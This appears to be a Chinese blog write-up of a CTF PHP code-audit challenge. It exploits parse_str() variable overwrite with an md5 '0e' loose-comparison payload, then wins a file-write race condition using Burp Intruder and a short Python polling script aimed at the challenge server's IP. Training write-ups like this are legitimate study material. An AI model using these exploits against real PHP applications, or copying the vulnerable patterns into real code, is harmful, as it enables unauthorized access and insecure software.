CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争

一进来就是PHP代码审计。
在这里插入图片描述

<?php
include"url.php";
highlight_file(__FILE__);
$a[0] = 'wenhua3104';
$id = $_GET['id'];	//传入ID参数
@parse_str($id);	//将变量ID进行参数化。
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo $url;
}

第一点就是理解parse_str()函数
在这里插入图片描述
第二点就得知道哪些参数的md5值和md5('QNKCDZO')是相等的。这个百度一下就行了。
在这里插入图片描述
因为结果是这种科学计数法的,只要也找到结果为0e开头的后面全为数字的,弱类型比较就会成立。
在这里插入图片描述
这样就可以了,但是我也踩了个坑,"a[0]=s224534898e"用双引号就不行,但是自己在本地测试是可以通过的,原因未知。。。
点击链接后进行跳转到新的界面。
在这里插入图片描述
先以为搞出来就结束了,没想到又是一次代码审计,不过最近一直在写php,这个就简单了。

<?php
highlight_file(__FILE__);
include"flag.php";
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777, true);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        $content = $flag;
        file_put_contents("$savepath" . $_GET['filename'], $content); //把flag写到刚刚创建的文件中。
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        echo $msg;
        usleep(100000);		//0.1秒的时间就会将content内容进行改变
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
    print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

说白了就是条件竞争。通过burpsuiteintruder不停的提交此表单,然后写个py即可。
在这里插入图片描述
文件名为11,前面的随机数为自己的IP地址决定的。
在这里插入图片描述
提交后拦截发送到intruder,参数设为content,内容无所谓,只要让他不停的发送即可。
在这里插入图片描述
py如下,很简单的脚本。

import requests
url = "http://39.96.166.21:5001/uploads/b895cfab6ad813e2cba5234e31b4e746ae203049/11"
while True:
    html = requests.get(url)
    if "slow"  not in html.text:
        print(html.text)
        break

运行了以后得出结果
在这里插入图片描述

发布了265 篇原创文章 · 获赞 266 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/u014029795/article/details/105022994
今日推荐